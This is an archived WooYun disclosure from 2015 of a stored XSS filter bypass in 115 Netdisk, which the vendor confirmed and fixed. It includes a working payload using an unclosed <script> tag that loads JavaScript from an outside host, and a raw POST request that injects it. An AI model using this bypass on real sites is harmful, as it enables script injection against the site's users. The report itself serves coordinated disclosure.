当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094265

漏洞标题：115网盘存储型xss过滤再一次强势绕过

相关厂商：115网盘

漏洞作者： Mr .LZH

提交时间：2015-01-28 12:06

修复时间：2015-02-04 12:07

公开时间：2015-02-04 12:07

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-28： 细节已通知厂商并且等待厂商处理中
2015-01-28： 厂商已经确认，细节仅向厂商公开
2015-02-04： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

115网盘存储型xss过滤再一次强势绕过。我自己都惊呆了。

详细说明：

之前提交的漏洞： WooYun: 115网盘存储型xss过滤强势绕过 已经修复。
测试了一下，修复内容大致为：
(1).过滤了所有js事件。
(2).删除了html编辑功能。
(3).过滤了部分html标签。例如：<input>
修复(1)(3)加大了绕过难度，而(2)则是毫无用处的，因为最终编辑后是发生数据包到服务器，可直接编辑数据包实现编辑html。
好了，回归正题。
此次漏洞的导致原因是标签过滤逻辑错误导致的。
如果提交<script>则匹配后被过滤，但提交如<script 则不被过滤。
于是猜想：如果标签未闭合，则不过滤，而遇到新的 < 号，则以此开始重新匹配后面是否是黑名单标签。
于是构造如下的payload，成功绕过过滤。
<p>xss <script SRC="http://ha.ckers.org/xss.js" xss< p>
post请求为：

POST /133130/post/save 
Host: q.115.com
gid=133130&allow_notice=1&fids=&pickcodes=&category=&anonymous=0&allow_cates=&allow_uids=&pid=1468345&tid=128761&validate=qrea&offer_reward=0&fb_price=10&addition=&subject=aa%C2%A0aa&content=%3Cp%3Eabbb<script SRC="http://ha.ckers.org/xss.js"  bbbbbbaa%3C%2Fp%3E&


结果如图：

1.jpg


又是绕了一晚上，累啊。。。。。

漏洞证明：

修复方案：

版权声明：转载请注明来源 Mr .LZH@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2015-01-28 14:18

厂商回复：

感谢提交，辛苦了！

最新状态：

2015-02-04：